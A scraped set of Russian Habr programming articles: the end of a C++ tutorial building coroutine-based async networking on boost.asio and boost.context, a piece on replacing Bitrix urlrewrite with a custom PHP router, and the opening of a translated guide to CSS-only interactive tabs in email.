Если внимательно присмотреться, то отличие от синхронных функций только в том, что асинхронные содержат дополнительный обработчик в качестве входного параметра.
Ну что ж, вроде пока ничего страшного нет.
Реализация:
```
Socket::Socket() :
socket(service())
{
}
Socket::Socket(Socket&& s) :
socket(std::move(s.socket))
{
}
void Socket::read(Buffer& buffer, IoHandler handler)
{
boost::asio::async_read(socket, boost::asio::buffer(&buffer[0], buffer.size()),
[&buffer, handler](const Error& error, std::size_t) {
handler(error);
});
}
void Socket::readSome(Buffer& buffer, IoHandler handler)
{
socket.async_read_some(boost::asio::buffer(&buffer[0], buffer.size()),
[&buffer, handler](const Error& error, std::size_t bytes) {
buffer.resize(bytes);
handler(error);
});
}
bool hasEnd(size_t posEnd, const Buffer& b, const Buffer& end)
{
return posEnd >= end.size() &&
b.rfind(end, posEnd - end.size()) != std::string::npos;
}
void Socket::readUntil(Buffer& buffer, Buffer until, IoHandler handler)
{
VERIFY(buffer.size() >= until.size(), "Buffer size is smaller than expected");
struct UntilHandler
{
UntilHandler(Socket& socket_, Buffer& buffer_, Buffer until_, IoHandler handler_) :
offset(0),
socket(socket_),
buffer(buffer_),
until(std::move(until_)),
handler(std::move(handler_))
{
}
void read()
{
LOG("read at offset: " << offset);
socket.socket.async_read_some(boost::asio::buffer(&buffer[offset], buffer.size() - offset), *this);
}
void complete(const Error& error)
{
handler(error);
}
void operator()(const Error& error, std::size_t bytes)
{
if (!!error)
{
return complete(error);
}
offset += bytes;
VERIFY(offset <= buffer.size(), "Offset outside buffer size");
LOG("buffer: '" << buffer.substr(0, offset) << "'");
if (hasEnd(offset, buffer, until))
{
// found end
buffer.resize(offset);
return complete(error);
}
if (offset == buffer.size())
{
LOG("not enough size: " << buffer.size());
buffer.resize(buffer.size() * 2);
}
read();
}
private:
size_t offset;
Socket& socket;
Buffer& buffer;
Buffer until;
IoHandler handler;
};
UntilHandler(*this, buffer, std::move(until), std::move(handler)).read();
}
void Socket::write(const Buffer& buffer, IoHandler handler)
{
boost::asio::async_write(socket, boost::asio::buffer(&buffer[0], buffer.size()),
[&buffer, handler](const Error& error, std::size_t) {
handler(error);
});
}
void Socket::close()
{
socket.close();
}
Acceptor::Acceptor(int port) :
acceptor(service(), boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), port))
{
}
void Acceptor::accept(Socket& socket, IoHandler handler)
{
acceptor.async_accept(socket.socket, handler);
}
```
Тут должно быть все понятно, за исключением метода `readUntil`. Для того, чтобы несколько раз вызывать асинхронное чтение на сокете, необходимо сохранять состояние. Для этого предназначен специальный класс `UntilHandler`, который сохраняет текущее состояние асинхронной операции. Похожую реализацию можно встретить в boost.asio для различных функций (например `boost::asio::read`), которые требуют нескольких вызовов более простых (но не менее асинхронных) операций.
Помимо этого необходимо написать аналог `go` и диспетчеризацию:
```
void go(Handler);
void dispatch(int threadCount = 0);
```
Здесь указывается обработчик, который будет запускаться асинхронно в пуле потоков и, собственно, создание пула потоков с последующей диспетчеризацией.
Вот как выглядит реализация:
```
void go(Handler handler)
{
LOG("async::go");
service().post(std::move(handler));
}
void run()
{
service().run();
}
void dispatch(int threadCount)
{
int threads = threadCount > 0 ? threadCount : int(std::thread::hardware_concurrency());
RLOG("Threads: " << threads);
for (int i = 1; i < threads; ++ i)
sync::go(run);
run();
}
```
Здесь мы используем `sync::go` для создания потоков из синхронного подхода.
Реализация сервера:
```
Acceptor acceptor(8800);
LOG("accepting");
Handler accepting = [&acceptor, &accepting] {
struct Connection
{
Buffer buffer;
Socket socket;
void handling()
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY, [this](const Error& error) {
if (!!error)
{
LOG("error on reading: " << error.message());
delete this;
return;
}
LOG("read");
buffer = httpContent("Hello async!
============
");
socket.write(buffer, [this](const Error& error) {
if (!!error)
{
LOG("error on writing: " << error.message());
delete this;
return;
}
LOG("written");
handling();
});
});
}
};
Connection* conn = new Connection;
acceptor.accept(conn->socket, [conn, &accepting](const Error& error) {
if (!!error)
{
LOG("error on accepting: " << error.message());
delete conn;
return;
}
LOG("accepted");
conn->handling();
accepting();
});
};
accepting();
dispatch();
```
Вот такая простыня. С каждым новым вызовом растет вложенность лямбд. Обычно, конечно, такое через лямбды не пишут, т.к. есть сложности с зацикливанием: в лямбду необходимо пробрасывать саму себя, чтобы внутри самой себя позвать саму себя. Но тем не менее, читабельность кода будет примерно одинаковая, т.е. одинаково плохая при сравнении с синхронным кодом.
Итак, давайте обсудим плюсы и минусы асинхронного подхода:
1. Безусловный плюс (и это, собственно, то, ради чего все эти мучения) — это производительность. Причем она не просто в разы выше, она выше на порядки!
2. Ну а теперь минусы. Минус ровно один — сложный и запутанный код, который к тому же еще и сложно отлаживать.
Хорошо, конечно, если все написал правильно и оно сразу заработало и без багов. А вот если это не так… В общем, счастливого дебаггинга, как говорится в таких случаях. И это я еще рассмотрел достаточно простой пример, где можно отследить последовательность вызовов. При небольшом усложнении схемы обработки (например, одновременные чтение и запись в сокеты) сложность кода растет как на дрожжах, а количество багов начинает расти чуть ли не экспоненциально.
Так стоит ли игра свеч? Стоит ли заниматься асинхронностью? На самом деле выход есть — coroutines или сопрограммы.
### Сопрограммы
Итак, чего же нам всем хочется? ~~Счастья, здоровья, денег мешок.~~ А хочется простого: использовать плюсы асинхронного и синхронного подходов одновременно, т.е. чтобы и производительность была как у асинхронного, и простота как у синхронного.
На бумаге звучит замечательно. Возможно ли это? Для ответа на вопрос нам понадобится небольшое введение в сопрограммы.
Вот что такое обычные процедуры? Находимся мы, значит, в каком-то месте исполнения и тут раз, и позвали процедуру. Для вызова сначала запоминается текущее место для возврата, затем зовется процедура, она исполняется, завершается и возвращает управление в то место, откуда была позвана. А сопрограмма — это то же самое, только другое: она тоже возвращает управление в то место, откуда была позвана, но при этом она **не завершается**, а останавливается в некотором месте, с которого дальше продолжает работать при повторном запуске. Т.е. получается эдакий пинг-понг: вызывающий бросает мячик, сопрограмма ловит его, перебегает в другое место, бросает обратно, вызывающий тоже что-то делает (перебегает) и снова бросает в предыдущее место уже сопрограммы. И так происходит до тех пор, пока сопрограмма не завершится. В целом можно сказать, что процедура — это частный случай сопрограммы.
Как теперь это можно использовать для наших асинхронных задач? Ну тут наводит на мысль то, что сопрограмма сохраняет некий контекст исполнения, что для асинхронности крайне важно. Именно это и буду я использовать: если сопрограмме потребуется выполнить асинхронную операцию, то я просто вызову асинхронный метод и выйду из сопрограммы. А обработчик по завершению асинхронной операции просто продолжит исполнение нашей сопрограммы с места последнего вызова той самой асинхронной операции. Т.е. вся грязная работа по сохранению контекста ложится на плечи реализации сопрограмм.
И вот тут как раз и начинаются проблемы. Дело в том, что поддержка сопрограмм на стороне языков и процессоров — дела давно минувших дней. Для реализации переключения контекстов исполнения сегодня необходимо проделать множество операций: сохранить состояния регистров, переключить стек и заполнить некоторые служебные поля для корректной работы среды исполнения (например, для исключений, TLS и др.). Более того, реализация зависит не только от архитектуры процессора, но еще и от компилятора и операционной системы. Звучит как последний гвоздь в крышку гроба…
К счастью, есть boost.context, которая и реализует все, что необходимо для поддержки конкретной платформы. Написано все на ассемблере, в лучших традициях. Можно, конечно, использовать boost.coroutine, но зачем, когда есть boost.context? Больше ада и угара!
#### Реализация сопрограмм
Итак, для наших целей напишем свои сопрограммы. Интерфейс будет такой:
```
// выход из сопрограммы
void yield();
// проверка того, что мы находимся внутри сопрограммы
bool isInsideCoro();
// сопрограмма
struct Coro
{
// на всякий случай, мало ли
friend void yield();
Coro();
// создание и запуск обработчика
Coro(Handler);
// без комментариев
~Coro();
// запуск обработчика
void start(Handler);
// продолжение сопрограммы (только если она завершилась yield)
void resume();
// проверка того, что сопрограмму можно продолжить
bool isStarted() const;
private:
...
};
```
Вот такой нехитрый интерфейс. Ну и сразу вариант использования:
```
void coro()
{
std::cout << '2';
yield();
std::cout << '4';
}
```
```
std::cout << '1';
Coro c(coro);
std::cout << '3';
c.resume();
std::cout << '5';
```
Должен выдать на экран:
>
> ```
>
> 12345
>
> ```
>
Начнем с метода `start`:
```
void Coro::start(Handler handler)
{
VERIFY(!isStarted(), "Trying to start already started coro");
context = boost::context::make_fcontext(&stack.back(), stack.size(), &starterWrapper0);
jump0(reinterpret_cast(&handler));
}
```
Здесь `boost::context::make_fcontext` создает нам контекст и передает в качестве стартовой функции статический метод `starterWrapper0`:
```
TLS Coro* t_coro;
void Coro::starterWrapper0(intptr_t p)
{
t_coro->starter0(p);
}
```
который просто перенаправляет на метод `starter0`, извлекая текущий экземпляр `Coro` из TLS. Вся магия по переключению контекстов находится в приватном методе `jump0`:
```
void Coro::jump0(intptr_t p)
{
Coro* old = this;
std::swap(old, t_coro);
running = true;
boost::context::jump_fcontext(&savedContext, context, p);
running = false;
std::swap(old, t_coro);
if (exc != std::exception_ptr())
std::rethrow_exception(exc);
}
```
Здесь мы заменяем старое TLS значение `t_coro` на новое (нужно для рекурсивного переключения между несколькими сопрограммами), устанавливаем всякие флаги и переключаем контекст с использованием `boost::context::jump_fcontext`. После завершения восстанавливаем старые значения и прокидываем исключения в вызывающую функцию.
Смотрим теперь на приватный метод `starter0`, который и запускает нужный обработчик:
```
void Coro::starter0(intptr_t p)
{
started = true;
try
{
Handler handler = std::move(*reinterpret_cast(p));
handler();
}
catch (...)
{
exc = std::current\_exception();
}
started = false;
yield0();
}
```
Отмечу один интересный момент: если не сохранить обработчик внутри сопрограммы (до его вызова), то при последующем возврате программа может благополучно упасть. Это связано с тем, что, вообще говоря, обработчик хранит в себе некоторое состояние, которое может быть разрушено в какой-то момент.
Теперь осталось рассмотреть остальные функции:
```
// возвращаем управление из сопрограммы
void yield()
{
VERIFY(isInsideCoro(), "yield() outside coro");
t_coro->yield0();
}
// проверка того, находимся ли мы внутри сопрограммы
bool isInsideCoro()
{
return t_coro != nullptr;
}
// возобновление сопрограммы после yield
void Coro::resume()
{
VERIFY(started, "Cannot resume: not started");
VERIFY(!running, "Cannot resume: in running state");
jump0();
}
// проверка того, что сопрограмма еще не завершена
bool Coro::isStarted() const
{
return started || running;
}
// возврат в сохраненный контекст
void Coro::yield0()
{
boost::context::jump_fcontext(context, &savedContext, 0);
}
```
### Synca: async наоборот
Теперь пришла очередь реализовать асинхронность на сопрограммах. Тривиальный вариант реализации приведен на следующей диаграмме:
Здесь происходит создание сопрограммы, затем сопрограмма запускает асинхронную операцию и завершает свою работу с использованием функции `yield()`. По завершению операции происходит продолжение работы сопрограммы посредством вызова метода `resume()`.
И все было бы хорошо, если бы не пресловутая многопоточность. Как это всегда бывает, она вносит некоторую турбулентность, поэтому приведенный выше подход не будет работать должным образом, что наглядно иллюстрирует следующая диаграмма:
Т.е. сразу после шедулинга операции может быть вызван обработчик, который продолжит исполнение до выхода из сопрограммы. Это, понятно, не входило в наши планы. Поэтому придется усложнить последовательность:
Отличие состоит в том, что мы запускаем шедулинг не в сопрограмме, а вне ее, что исключает возможность, описанную выше. При этом продолжение сопрограммы может случиться в другом потоке, что является вполне нормальным поведением, для этого сопрограммы и предназначены, чтобы иметь возможность тусовать их туда-сюда, сохраняя при этом контекст исполнения.
**Небольшая ремарка**Удивительно, но в boost.asio уже есть поддержка сопрограмм. Для решения указанной выше проблемы используется `io_service::strand`, но это совсем другая история. Ведь всегда же интересно написать что-то свое, родное… Да и к тому же результат, полученный в статье, использовать гораздо удобнее.
#### Реализация
Начнем с реализации функции `go`:
```
void go(Handler handler)
{
LOG("synca::go");
async::go([handler] {
coro::Coro* coro = new coro::Coro(std::move(handler));
onCoroComplete(coro);
});
}
```
Здесь мы вместо простого запуска обработчика создаем сопрограмму и запускаем обработчик уже внутри нее. Интерес тут также представляет функция `onCoroComplete`, которая смотрит, не надо ли чего зашедулить:
```
typedef std::function CoroHandler;
TLS CoroHandler\* t\_deferHandler;
void onCoroComplete(coro::Coro\* coro)
{
VERIFY(!coro::isInsideCoro(), "Complete inside coro");
VERIFY(coro->isStarted() == (t\_deferHandler != nullptr), "Unexpected condition in defer/started state");
if (t\_deferHandler != nullptr)
{
LOG("invoking defer handler");
(\*t\_deferHandler)(coro);
t\_deferHandler = nullptr;
LOG("completed defer handler");
}
else
{
LOG("nothing to do, deleting coro");
delete coro;
}
}
```
Действия простые: смотрим, есть ли что-то для обработки. Если есть — то выполняем, нет — тогда сопрограмма закончила свою работу и ее можно удалить.
Возникает вопрос: а как заполняется `t_deferHandler`? А вот так:
```
TLS const Error* t_error;
void handleError()
{
if (t_error)
throw boost::system::system_error(*t_error, "synca");
}
void defer(CoroHandler handler)
{
VERIFY(coro::isInsideCoro(), "defer() outside coro");
VERIFY(t_deferHandler == nullptr, "There is unexecuted defer handler");
t_deferHandler = &handler
coro::yield();
handleError();
}
```
Эта функция всегда вызывается внутри сопрограммы. Здесь передается некий обработчик, который будет заниматься шедулингом операций, т.е. запуском асинхронностей. Этот обработчик запоминается, чтобы его запустить по выходу из сопрограммы (`coro::yield`), после выхода сразу запускается `onCoroComplete`, который и запускает наш *отложенный* обработчик. Ниже приведено использование функции `defer` на примере `Socket::accept`:
```
void onComplete(coro::Coro* coro, const Error& error)
{
LOG("async completed, coro: " << coro << ", error: " << error.message());
VERIFY(coro != nullptr, "Coro is null");
VERIFY(!coro::isInsideCoro(), "Completion inside coro");
t_error = error ? &error : nullptr;
coro->resume();
LOG("after resume");
onCoroComplete(coro);
}
async::IoHandler onCompleteHandler(coro::Coro* coro)
{
return [coro](const Error& error) {
onComplete(coro, error);
};
}
void Acceptor::accept(Socket& socket)
{
VERIFY(coro::isInsideCoro(), "accept must be called inside coro");
defer([this, &socket](coro::Coro* coro) {
VERIFY(!coro::isInsideCoro(), "accept completion must be called outside coro");
acceptor.accept(socket.socket, onCompleteHandler(coro));
LOG("accept scheduled");
});
}
```
`onCompleteHandler` возвращает асинхронный обработчик, который обрабатывает завершение асинхронной операции. Внутри обработчика происходит запоминание ошибки `t_error`, чтобы позже иметь возможность пробросить исключение внутри нашей сопрограммы (см. вызов `handleError` внутри `defer`), а затем продолжение исполнение сопрограммы `coro->resume()`, т.е. возвращение в метод `defer` сразу после вызова `yield()`. Диаграмма ниже показывает последовательность вызовов и взаимодействие различных сущностей:
Остальные функции реализуются аналогично:
```
void Socket::readSome(Buffer& buffer)
{
VERIFY(coro::isInsideCoro(), "readSome must be called inside coro");
defer([this, &buffer](coro::Coro* coro) {
VERIFY(!coro::isInsideCoro(), "readSome completion must be called outside coro");
socket.readSome(buffer, onCompleteHandler(coro));
LOG("readSome scheduled");
});
}
void Socket::readUntil(Buffer& buffer, Buffer until)
{
VERIFY(coro::isInsideCoro(), "readUntil must be called inside coro");
defer([this, &buffer, until](coro::Coro* coro) {
VERIFY(!coro::isInsideCoro(), "readUntil completion must be called outside coro");
socket.readUntil(buffer, std::move(until), onCompleteHandler(coro));
LOG("readUntil scheduled");
});
}
void Socket::write(const Buffer& buffer)
{
VERIFY(coro::isInsideCoro(), "write must be called inside coro");
defer([this, &buffer](coro::Coro* coro) {
VERIFY(!coro::isInsideCoro(), "write completion must be called outside coro");
socket.write(buffer, onCompleteHandler(coro));
LOG("write scheduled");
});
}
```
Везде в реализации я использую соответствующие асинхронные объекты `async::Socket` и `async::Acceptor`, описанные в пункте про асинхронность.
#### Использование
Перейдем к использованию нашего функционала. Тут все гораздо проще и изящнее:
```
Acceptor acceptor(8800);
LOG("accepting");
go([&acceptor] {
while (true)
{
Socket* toAccept = new Socket;
acceptor.accept(*toAccept);
LOG("accepted");
go([toAccept] {
try
{
Socket socket = std::move(*toAccept);
delete toAccept;
Buffer buffer;
while (true)
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent("Hello synca!
============
"));
}
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
});
}
});
dispatch();
```
Приведенный код что-то напоминает… Точно! Это же практически наш синхронный код:
| `sync` | `synca` |
| --- | --- |
|
```
Acceptor acceptor(8800);
LOG("accepting");
while (true)
{
Socket* toAccept = new Socket;
acceptor.accept(*toAccept);
LOG("accepted");
go([toAccept] {
try
{
Socket socket = std::move(*toAccept);
delete toAccept;
Buffer buffer;
while (true)
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent(
"Hello sync multithread!"));
}
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
});
}
```
|
```
Acceptor acceptor(8800);
LOG("accepting");
go([&acceptor] {
while (true)
{
Socket* toAccept = new Socket;
acceptor.accept(*toAccept);
LOG("accepted");
go([toAccept] {
try
{
Socket socket = std::move(*toAccept);
delete toAccept;
Buffer buffer;
while (true)
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent(
"Hello synca!"));
}
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
});
}
});
dispatch();
```
|
Тут ровно одно отличие: в синхронной реализации принятие сокета происходит в главном потоке, а потому отсутствует `dispatch`. Однако, если задаться целью, можно было бы эти подходы сделать полностью идентичными: для этого в синхронной реализации также сделать принятие сокетов в отдельном потоке, используя `go`, а функция `dispatch` тогда просто бы ждала завершения всех потоков.
Но отличие в реализации носит принципиальный характер: получившийся код использует асинхронное сетевое взаимодействие, а значит является гораздо более эффективной реализацией. Собственно на этом наша цель достигнута: сделать симбиоз синхронного и асинхронного подходов, взяв из них самое лучшее, т.е. простоту синхронного и производительность асинхронного.
#### Улучшение
Опишу некоторое улучшение для процесса принятия сокетов. Часто, после принятия происходит разветвление исполнения: тот, кто принимал, будет продолжает принимать, а новый сокет будет обрабатываться в отдельном контексте исполнения. Поэтому создадим новый метод `goAccept`:
```
async::IoHandler onCompleteGoHandler(coro::Coro* coro, Handler handler)
{
return [coro, handler](const Error& error) {
if (!error)
go(std::move(handler));
onComplete(coro, error);
};
}
struct Acceptor
{
typedef std::function Handler;
// ...
};
void Acceptor::goAccept(Handler handler)
{
VERIFY(coro::isInsideCoro(), "goAccept must be called inside coro");
defer([this, handler](coro::Coro\* coro) {
VERIFY(!coro::isInsideCoro(), "goAccept completion must be called outside coro");
Socket\* socket = new Socket;
acceptor.accept(socket->socket, onCompleteGoHandler(coro, [socket, handler] {
Socket s = std::move(\*socket);
delete socket;
handler(s);
}));
LOG("accept scheduled");
});
}
```
И тогда наш сервер перепишется в виде:
```
Acceptor acceptor(8800);
LOG("accepting");
go([&acceptor] {
while (true)
{
acceptor.goAccept([](Socket& socket) {
try
{
Buffer buffer;
while (true)
{
buffer.resize(4000);
socket.readUntil(buffer, HTTP_DELIM_BODY);
socket.write(httpContent("Hello synca!
============
"));
}
}
catch (std::exception& e)
{
LOG("error: " << e.what());
}
});
}
});
dispatch();
```
Что гораздо проще для понимания и использования.
### Вопрос 1. А что с производительностью?
Действительно, отличие от чисто асинхронного подхода в том, что тут возникают дополнительные накладные расходы на создание/переключение контекстов и смежной атрибутики.
Сначала я было хотел проверить предельные нагрузки, но потом оказалось, что даже в одном (!!!) потоке загружается скорее гигабитная сеть, нежели процессор. Поэтому я провел следующий тест:
1. Сервер работает под постоянной нагрузкой 30K RPS (т.е. 30 тыщ запросов в секунду).
2. Смотрим на загрузку процессора в случае `async` и `synca`.
Результаты приведены в таблице:
| Метод | Количество запросов в секунду | Количество потоков | Загруженность процессорного ядра |
| --- | --- | --- | --- |
| async | 30000 | 1 | 75±5% |
| synca | 30000 | 1 | 80±5% |
Отмечу, что погрешность полученных значений связана с колебаниями значений в ходе одного испытания. Скорее всего это связанно с неравномерностью нагрузки канала и обработки.
Тем не менее видно, что не смотря на наличие дополнительного переключения контекстов, а также пробрасыванием исключений вместо кодов возврата (исключение генерится каждый раз при закрытии сокета, т.е. каждый раз на новом запросе) накладные расходы пренебрежимо малы. А если еще добавить код, который бы честно парсил HTTP сообщение, а также код, который бы не менее честно обрабатывал запросы и делал что-нибудь важное и нужное, то можно заявить смело, что **отличие в производительности не будет вообще**.
### Вопрос 2. Ну допустим. А можно ли таким способом решать более сложные асинхронные задачи?
#### Теорема. Любую асинхронную задачу можно решить с помощью сопрограмм.
**Доказательство.**
Вначале возьмем функцию, которая использует асинхронные вызовы. Любую функцию можно превратить в сопрограмму, т.к. функция является частным случаем сопрограммы. Далее возьмем какой-либо асинхронный вызов в такой преобразованной сопрограмме. Такой вызов можно представить в следующем виде:
```
// код до вызова
async(..., handler);
// код после вызова
```
Рассмотрим случай, когда у нас отсутствует код после вызова:
```
// код до вызова
async(..., handler);
```
Такой код с точки зрения сопрограммы эквивалентен следующему:
```
// код до вызова
synca(...);
handler();
```
Т.е. внутри `synca` мы вызываем соответствующую асинхронную функцию `async`, который нам возвращает управление в сопрограмму по завершению операции, и затем вызывается обработчик `handler()` явно. Результат ровно один и тот же.
Теперь осталось рассмотреть более общий случай, когда у нас присутствует код после асинхронного вызова. Такой код эквивалентен:
```
// код до вызова
go {
async(..., handler);
}
// код после вызова
```
Используя то, что у нас теперь отсутствует код после вызова `async` внутри `go`, получаем:
```
// код до вызова
go {
synca(...);
handler();
}
// код после вызова
```
Т.е. на один асинхронный вызов стало меньше. Применяя такой подход к каждому асинхронному вызову функции и к каждой функции мы перепишем весь код на сопрограммах. **Ч.т.д.**
### Выводы
Асинхронность стремительным домкратом врывается в нашу программистскую жизнь. Сложности, которые возникают при написании кода, способны привести в дрожь даже самых ярых и закаленных экспертов. Однако, не стоит списывать со счетов старый добрый синхронный подход: в умелых руках асинхронность превращается в элегантные сопрограммы.
В следующей статье будет рассмотрен гораздо более сложный пример, который раскроет всю мощь и потенциал сопрограмм!
До новых встреч в эфире!
P.S. Весь код можно найти здесь: [bitbucket:gridem/synca](https://bitbucket.org/gridem/synca)
|
https://habr.com/ru/post/201826/
| null |
ru
| null |
# Bitrix — UrlRewrite (feat. Juggernaut)
Здрасте!
Продолжаем лупить статьи на тему «Битрикс не так уж и плох, если его доработать».
На этот раз разговор пойдет на тему «url\_rewrite», потому как я считаю, что текущий вариант вообще не идеален.
А идеальным я считаю вариант маршрутизации в микрофреймворках, например Slim (или тот же Lumen), вообщем тех, которые дружат с PSR-7.
Кому интересно, го под кат.
Кому не интересно, ну тут уж сами решайте ;-)
#### INTRO
На самом деле мои предыдущие статьи носили более менее абстрактный характер (ну кроме статьи про [Juggernaut](https://habrahabr.ru/post/303774/) пожалуй), поэтому в данном посте постараюсь меньше писать теории и побольше кода.
#### Кстати про Juggernaut
Документация будет в скором времени, к сожалению есть некоторые преграды:
1. время
2. рефакторинг
3. мне полюбился TDD, так что рефакторинг остановился до тех пор пока не напишу тесты
4. направление развитие библиотеки как оказалось я не совсем еще до конца определил
Но это как говорить «совсем другая история», поэтому вернемся к тому, о чем собственно данная статья: роутинг.
#### UrlRewrite by Bitrix
Порядок маршрутизации я думаю лучше изобразить схемкой (и понятно, и наглядно):
Что это все значит:
**include bitrix/urlRewrite.php**
Подключаем файл который занимается маршрутизацией (ну это я думаю и так все поняли).
Вообще данный пункт (и все что выше на блок схеме) — это заслуги **.htaccess**:
```
RewriteCond %{REQUEST_FILENAME} !-f # не файл
RewriteCond %{REQUEST_FILENAME} !-l # не символьная ссылка
RewriteCond %{REQUEST_FILENAME} !-d # не директория
RewriteCond %{REQUEST_FILENAME} !/bitrix/urlrewrite.php$ # не файл маршрутизации
RewriteRule ^(.*)$ /bitrix/urlrewrite.php [L]
```
**fix request\_uri for IIS**
Данный пункт, судя по комменту в коде, ответственен за какие то косяки IIS (бедняга MS), за какие я не в курсе, но логика следующая:
если QUERY\_STRING имеет вид «wtf=404;http(s)://wtf.ru», то все GET параметры запроса чистятся и данная конструкция убирается из адреса.
На вопрос «что проиходит?» я не могу дать ответа, так что едем дальше.
**include dbconn.php**
Подключаем базу.
Зачем? Непонятно, т. к. запросов к базе дальше нет и работа идет только с файловой системой.
Я конечно не опускался в реализацию классов для работы с файлами, но если им нужно что-либо от базы, то это не иначе как печально :-(
**decode request page (for UTF-8)**
Все понятно из названия, кодирование REQUEST\_URI.
Зачем? Зачем Битрикс любит Windows-1251? Без понятия. Но это будет продолжаться вечно (и это инсайдерская информация).
**include /urlRewrite.php**
Собственно подключаем сами правила маршрутизации.
**process Url**
Немного странные действия, но все же происходит следующее:
Если есть GET параметр SEF\_APPLICATION\_CUR\_PAGE\_URL, то приравниваем REQUEST\_URI к его значению, а затем переписываем все зависимые переменные и глобальные массивы ($\_GET, $\_SERVER, …)
**process urlRewrite**
О, да!
Мы до него добрались.
Собственно что происходит:
* Парсим параметр CONDITION.
* Заменяем параметр CONDITION на RULE в REQUEST\_URI
* Добавляет в $\_GET и $\_REQUEST переменные из правила маршрутизации.
* Проверяем существует ли указанный файл, валидный ли у него путь и не является ли он административным (upload, bitrix, bitrix/services, bitrix/groupdavphp).
* Если все ок, то подключаем.
Меня одного смущает что проверка идет после того как мы уже сунули все параметры в глобальные переменные?
Много неясностей, зачем сделано так, а не иначе?
Ну и много неясностей, зачем вообще это сделано?
Так что теперь перейдем к идеальному варианту Slim’a.
#### UrlRewrite by Slim
Как делает этот замечательный фреймворк:
```
$app = new \Slim\App();
$app->get('catalog/{sectionCode}/{elementCode}/', function(Request $request, Response $response) {
// code
});
$app->post('catalog/{sectionCode}/{elementCode}/', function(Request $request, Response $response) {
// code
});
$app->put('catalog/{sectionCode}/{elementCode}/', function(Request $request, Response $response) {
// code
});
$app->delete('catalog/{sectionCode}/{elementCode}/', function(Request $request, Response $response) {
// code
});
$app->run();
```
Легко и непринужденно цепляемся к нужному действию, с нужным маршрутом, параметрами и реализацией.
#### UrlRewrite by Juhhernaut
Ну, а теперь пробуем все это миксануть.
Выкидываем из Slim'a указание метода и собственно реализацию действия, вместо нее будет путь до файла.
Для начала обозначим синтаксис привязки маршрутов к реальным физически файлам (по факту это является мануалом использования):
```
/*
* подключаем файлы для роутрера
*/
include_once __DIR__.'/modules/olof.juggernaut/includeRewrite.php';
use Jugger\Context\Router;
/**
* создаем роутер
* в отличии от Slim'a маршруты не добавляются, а выполняются
* таким образом как только маршрут найден,
* остальной код не будет выполняться
*/
$r = new Router();
/*
* поиск файла с комнца маршрута
* например, URL запроса выглядит так: "/catalog/section1/section2/element1/",
* То поиск поочередно будет перебирать директории в поисках файла 'index.php':
* - /catalog/section1/section2/element1/index.php
* - /catalog/section1/section2/index.php
* - /catalog/section1/index.php
* - /catalog/index.php
*
* в корень сайта опускаться поиск не будет
* также никакие параметры не будут добавлены в переменные GET и REQUEST,
* т.к. нет шаблона маршрута
* данный способ хорошо подходит для стандартной ситуации Битрикс
* когда маршрутизация ложится на плечи компонентов
*/
$r->runRecursive();
/*
* добавляем маршрут
* формат записи:
* {nameParam},
* {nameParam:regExp}
* где 'regExp' - регулярное выражение. Например, '\d+' или '[0-9]+'
*/
$r->run(
"/page/",
"/page/index1.php"
);
$r->run(
"/page/{p1:[0-9]+}/{p2}",
"/page/index2.php"
);
$r->run(
"/catalog/",
"/catalog/index1.php"
);
/*
* добавляем сразу несколько маршрутов
*/
$r->run(
[
"/catalog/{sectionCode}/",
"/catalog/{sectionCode}/{elementId:\d+}/",
],
"/catalog/index2.php"
);
/*
* маршрутизация в один файл с параметром ?r=path/to/file
*/
$r->run("{r:.+}", "index.php");
/*
* окончание роутига
* если никакой маршрут не подошел
* то подключается /bitrix/urlrewrite.php
*/
$r->end();
```
По факту, если реализацию маршрутов оставить на совести компонентов, то достаточно будет прописать следующую конструкцию (да, так тоже можно ;-) ):
```
(new Router())
->runRecursive()
->end();
```
Данный файл нужно (можно) назвать urlrewrite.php, кинуть его в папку /local/ и внести правки в .htaccess файл, который лежит в корне.
Вместо:
```
RewriteCond %{REQUEST_FILENAME} !/bitrix/urlrewrite.php$
RewriteRule ^(.*)$ /bitrix/urlrewrite.php [L]
```
Нужно прописать:
```
RewriteCond %{REQUEST_FILENAME} !/local/urlrewrite.php$
RewriteRule ^(.*)$ /local/urlrewrite.php [L]
```
И собственно все. Простой и понятный роутинг у вас в кармане.
#### Ссылки:
**Juggernaut**: [github.com/irpsv/juggernaut.bitrix](https://github.com/irpsv/juggernaut.bitrix)
**Реализация роутера**: [github.com/irpsv/juggernaut.bitrix/blob/master/olof.juggernaut/lib/Context/Router.php](https://github.com/irpsv/juggernaut.bitrix/blob/master/olof.juggernaut/lib/Context/Router.php)
|
https://habr.com/ru/post/305382/
| null |
ru
| null |
# Как сверстать интерактивные вкладки в email-письме
[](http://habrahabr.ru/company/pechkin/blog/265409/)
В нашем блоге мы уже неоднократно [рассказывали](http://habrahabr.ru/company/pechkin/blog/264967/) о создании интерактивных [email-рассылок](https://pechkin-mail.ru/?utm_source=habr&utm_medium=referral&utm_campaign=tabs) с помощью CSS и HTML. Сегодня мы представляем вашему вниманию адаптированный перевод [заметки](http://freshinbox.com/blog/interactive-tabs-for-email/) Джастина Ку о том, как сверстать интерактивные вкладки, которые будут работать в почтовых программах iOS, Android и популярных веб-приложениях.
#### Радиоэлементы, ярлыки и псевдокласс :checked
В интернете довольного много материалов о создании [вкладок на CSS](https://css-tricks.com/functional-css-tabs-revisited/), к сожалению, не все из описанных техник адекватно работают со странностями CSS-процессоров почтовых веб-клиентов.
Как правило в подобных примерах используется комбинация радиокнопки, ярлыков и псевдокласса CSS3 `:checked`. Вот как это выглядит:
А вот так выглядит код:
```
/\* hide radio element \*/
.myradio {
display:none;
height:0px;
visibility:hidden;
}
.mybox {
width:100px;
height:50px;
background-color: #eeeeee;
display:none;
padding:5px;
}
/\* change tab to bold \*/
.myradio:checked + label {
font-weight: bold;
}
/\* show content \*/
#radio1:checked ~ .box1,
#radio2:checked ~ .box2
{
display:block;
}
Tab 1 |
Tab 2
Box 1
Box 2
```
